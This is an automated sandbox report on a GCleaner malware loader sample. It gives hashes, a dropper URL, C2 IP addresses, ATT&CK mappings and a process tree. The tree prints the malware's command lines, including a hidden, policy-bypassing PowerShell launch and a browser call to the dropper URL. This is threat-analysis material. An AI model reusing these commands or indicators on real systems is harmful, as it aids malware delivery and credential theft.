gcleaner | a0d550525750b126f141140df46b6877fac010e90eba0cb0bd7da24c1f5d678b

Analysis

max time kernel
149s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 02:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Setup.exe
Size 16.7MB
Sample260819-dewwmacf84
SHA256 a0d550525750b126f141140df46b6877fac010e90eba0cb0bd7da24c1f5d678b
MD5 a981c0e45e4a8a5ff3232b1a1d1626b4
SHA1 f45475b7ea76d5cca8489288ab6ed692b9163c9e
SHA512 48db23fe847d63dd67a1891f94520ecbe2796f866d80f5234c53e3be85bf2df15af1f9475929abc7420724cb403f9066e72eac0ad7dd2e63e196b70a0c740beb
SSDEEP 393216:5Cp7gQr1inWXRrfFk/cjzDAsRPuMSmJLQN+ibo5xEQFJ1Cfcqt3F:+gQ5wWXRrfbXnRPuMSeHv1ct3F
TLSH
T169073304BBA43478FD768274CEB387E1EE657817471191E323D4A52B1EF71E2CA2A361
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution gcleaner loader spyware stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://wappingerbicornshaps.com/s4r7aa2f7f74b7ac2ab0af7589004c3a8ef07971edb98

Extracted

Family

gcleaner

185.156.73.98
45.91.200.135

Signatures

Family: GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
704	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
89	472	MSBuild.exe

Executes dropped EXE 3 IoCs

pid	Process
5848	Ldrdubl215.exe
1480	appFile.exe
6100	ae_mixtwo.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
7	api.ipify.org

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4448	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 6100 set thread context of 472	6100	ae_mixtwo.exe	116

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2600_1586662230\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2600_1586662230\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2600_1476117447\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2600_1476117447\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2600_17364795\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5956	6100	WerFault.exe	107

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ae_mixtwo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2600	msedge.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4216	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134315817735582969"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\Local Settings	Setup.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3989226554-2204910950-1522900112-1000\{CB379702-0CB9-4667-8227-ACBE019FBB62}	msedge.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
704	powershell.exe
704	powershell.exe
1480	appFile.exe
1480	appFile.exe
1480	appFile.exe
1480	appFile.exe
1480	appFile.exe
1480	appFile.exe
1480	appFile.exe
1480	appFile.exe
4312	msedge.exe
4312	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	704	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2600	msedge.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 4352 wrote to memory of 4448	4352	Setup.exe	89
PID 4448 wrote to memory of 704	4448	WScript.exe	90
PID 4352 wrote to memory of 5848	4352	Setup.exe	91
PID 704 wrote to memory of 2600	704	powershell.exe	93
PID 2600 wrote to memory of 3968	2600	msedge.exe	94
PID 2600 wrote to memory of 4216	2600	msedge.exe	95
PID 2600 wrote to memory of 1444	2600	msedge.exe	96
PID 2600 wrote to memory of 1444	2600	msedge.exe	96
PID 2600 wrote to memory of 1444	2600	msedge.exe	96
PID 2600 wrote to memory of 5056	2600	msedge.exe	97
PID 2600 wrote to memory of 5056	2600	msedge.exe	97
PID 2600 wrote to memory of 1192	2600	msedge.exe	98
PID 2600 wrote to memory of 1192	2600	msedge.exe	98
PID 2600 wrote to memory of 1192	2600	msedge.exe	98
PID 2600 wrote to memory of 2672	2600	msedge.exe	99
PID 2600 wrote to memory of 2672	2600	msedge.exe	99
PID 2600 wrote to memory of 2672	2600	msedge.exe	99
PID 2600 wrote to memory of 2980	2600	msedge.exe	101
PID 2600 wrote to memory of 5132	2600	msedge.exe	102
PID 2600 wrote to memory of 2980	2600	msedge.exe	101
PID 2600 wrote to memory of 2980	2600	msedge.exe	101
PID 2600 wrote to memory of 5132	2600	msedge.exe	102
PID 2600 wrote to memory of 5132	2600	msedge.exe	102
PID 2600 wrote to memory of 4808	2600	msedge.exe	103
PID 2600 wrote to memory of 4808	2600	msedge.exe	103
PID 2600 wrote to memory of 4408	2600	msedge.exe	105
PID 2600 wrote to memory of 4408	2600	msedge.exe	105
PID 2600 wrote to memory of 4408	2600	msedge.exe	105
PID 4352 wrote to memory of 1480	4352	Setup.exe	106
PID 4352 wrote to memory of 6100	4352	Setup.exe	107
PID 2600 wrote to memory of 3304	2600	msedge.exe	110
PID 2600 wrote to memory of 5420	2600	msedge.exe	113
PID 2600 wrote to memory of 1212	2600	msedge.exe	114
PID 2600 wrote to memory of 5420	2600	msedge.exe	113
PID 2600 wrote to memory of 2736	2600	msedge.exe	130
PID 2600 wrote to memory of 1212	2600	msedge.exe	114
PID 2600 wrote to memory of 2736	2600	msedge.exe	130
PID 6100 wrote to memory of 472	6100	ae_mixtwo.exe	116
PID 6100 wrote to memory of 472	6100	ae_mixtwo.exe	116
PID 6100 wrote to memory of 472	6100	ae_mixtwo.exe	116
PID 6100 wrote to memory of 472	6100	ae_mixtwo.exe	116
PID 6100 wrote to memory of 472	6100	ae_mixtwo.exe	116
PID 6100 wrote to memory of 472	6100	ae_mixtwo.exe	116
PID 6100 wrote to memory of 472	6100	ae_mixtwo.exe	116
PID 2600 wrote to memory of 5580	2600	msedge.exe	120
PID 2600 wrote to memory of 5580	2600	msedge.exe	120
PID 2600 wrote to memory of 5800	2600	msedge.exe	122
PID 2600 wrote to memory of 6020	2600	msedge.exe	123
PID 2600 wrote to memory of 1736	2600	msedge.exe	124
PID 2600 wrote to memory of 5780	2600	msedge.exe	125
PID 2600 wrote to memory of 5780	2600	msedge.exe	125
PID 2600 wrote to memory of 2736	2600	msedge.exe	130
PID 2600 wrote to memory of 2736	2600	msedge.exe	130
PID 2600 wrote to memory of 3652	2600	msedge.exe	131
PID 2600 wrote to memory of 3652	2600	msedge.exe	131
PID 2600 wrote to memory of 4312	2600	msedge.exe	132
PID 2600 wrote to memory of 2352	2600	msedge.exe	133
PID 2600 wrote to memory of 2352	2600	msedge.exe	133

C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4352
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RunSilent.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\OpenLink.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://wappingerbicornshaps.com/s4r7aa2f7f74b7ac2ab0af7589004c3a8ef07971edb98
      4⤵
      Drops file in Windows directory
      System Network Configuration Discovery: Internet Connection Discovery
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2600
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2f0,0x2c0,0x7fff59b9c188,0x7fff59b9c194,0x7fff59b9c1a0
        5⤵
        
        PID:3968
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1840,i,6079589802953050044,4931659016208195840,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=2584 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:4216
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1564,i,12309414964732378217,830857335597466419,262144 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=2516 /prefetch:2
        5⤵
        
        PID:1444
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2268,i,7280719724289915390,1831224704838873070,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=2916 /prefetch:13
        5⤵
        
        PID:5056
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3424,i,3607058619349730499,2430388306148749916,2097152 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
        5⤵
        
        PID:1192
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3428,i,7089339252278026520,15380489376269558510,2097152 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:1
        5⤵
        
        PID:2672
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4256,i,11781667532852465053,10008215401024321300,2097152 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:1
        5⤵
        
        PID:2980
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4316,i,10553919748241829810,5070886981046037493,2097152 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:9
        5⤵
        
        PID:5132
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3588,i,10188222167094482150,2682157096250375855,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:14
        5⤵
        
        PID:4808
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5504,i,4586198057032268083,7970029939536955380,2097152 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:1
        5⤵
        
        PID:4408
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3460,i,14259718260967178191,12722281751347312448,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:14
        5⤵
        
        PID:1424
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3460,i,14259718260967178191,12722281751347312448,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:14
        5⤵
        
        PID:3304
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5244,i,11447805453761123976,7271221933794991032,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=6416 /prefetch:14
        5⤵
        
        PID:5420
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5664,i,16932943019394340647,1105938574763483593,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:14
        5⤵
        
        PID:1212
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6056,i,2542078582361732851,3144966312724219589,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:14
        5⤵
        
        PID:2736
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6200,i,6695816702226125204,7618147574710172366,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=6876 /prefetch:14
        5⤵
        
        PID:5580
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6024,i,13330488837717095381,12576561473540657691,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:14
        5⤵
        
        PID:5800
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3460,i,4834335572756315632,18323500135363859881,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:14
        5⤵
        
        PID:6020
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6000,i,1237935823877595575,11917222219684908661,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=7100 /prefetch:14
        5⤵
        
        PID:1736
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2764,i,4643174384455335240,15198035757361286339,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:14
        5⤵
        
        PID:5780
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5848,i,7200667398112869723,3414871858688231107,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
        5⤵
        
        PID:2736
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5156,i,11514947620936777903,1760663836820888128,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:14
        5⤵
        
        PID:3652
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5380,i,17478659036230672856,10446935016924294890,262144 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:10
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4312
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4048,i,11774169126152656483,5107364829902144335,524288 --field-trial-handle=2532,i,1433745899197957459,2505777320413784140,262144 --variations-seed-version --mojo-platform-channel-handle=1572 /prefetch:14
        5⤵
        
        PID:2352
- C:\Users\Admin\AppData\Local\Temp\Ldrdubl215.exe
  "C:\Users\Admin\AppData\Local\Temp\Ldrdubl215.exe"
  2⤵
  - Executes dropped EXE
  PID:5848
- C:\Users\Admin\AppData\Local\Temp\appFile.exe
  "C:\Users\Admin\AppData\Local\Temp\appFile.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1480
- C:\Users\Admin\AppData\Local\Temp\ae_mixtwo.exe
  "C:\Users\Admin\AppData\Local\Temp\ae_mixtwo.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6100
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    PID:472
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6100 -s 1136
    3⤵
    - Program crash
    PID:5956

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5840

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 6100 -ip 6100
1⤵
PID:6040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 5e34bc4625bf22507150f49d8c28444bda8222ea36c2a7d431bbdaae5c134a9d
MD5 e1ae04b3e73ad5ac4854b3b71e22d4d3
SHA1 221461b4f2d9e84e2f881b5a79edfef3705178db
SHA512 58529610d3f5dd7778bff3b81dd8abd9d79702eff78583d0294f3999089de0bbf84f0abad703269c0988835522b1d8d48e9f3c65472a409c5868fc3547c3fb1b
TLSH
T138D02B206A54494CCDC0B03464A3EA18E2004135140013C44001F07988901830B970CB
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7f7f7efafb9f87082470af84df3b906033b9d533fb7a188458a4e181362f2170
MD5 8af1f60999c332d8cf9a392cd968a81c
SHA1 93834a1f070ff24041a0deb17d95d868998c98ba
SHA512 95d5c6b0fed3c3dce459178eafa2e9fa13b06caf50a5b294d66ecf16bf91357eccebec57e01d50e054232862c252fc80f7300e865318ec24078f9288a88c63d4
TLSH
T17BD02B206A444A4CCDC0B03064A2EA18E2104135680013C44001B06988901830B970DF
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 b35a4467848b6f6254e70b6bc8bbbb9208c9a724a02f25032caaad4b7ad1061e
MD5 315d7c5cf7af5921e72a396b82d9bde0
SHA1 4d246c606d1130e7a650a20382ba353bbf93eaa4
SHA512 09681db268c9574546e90cd21177631a70c209bf7882c4adcc228dcb1202cded976b757e23c1b83d29e732658e5ee48af3d6e7841b5652853d18b36bb4f9ec97
TLSH
T18661D791436319C1EB347776A0E01A5B3BF85476CD17EEC62B432EB0280BF5232D0427
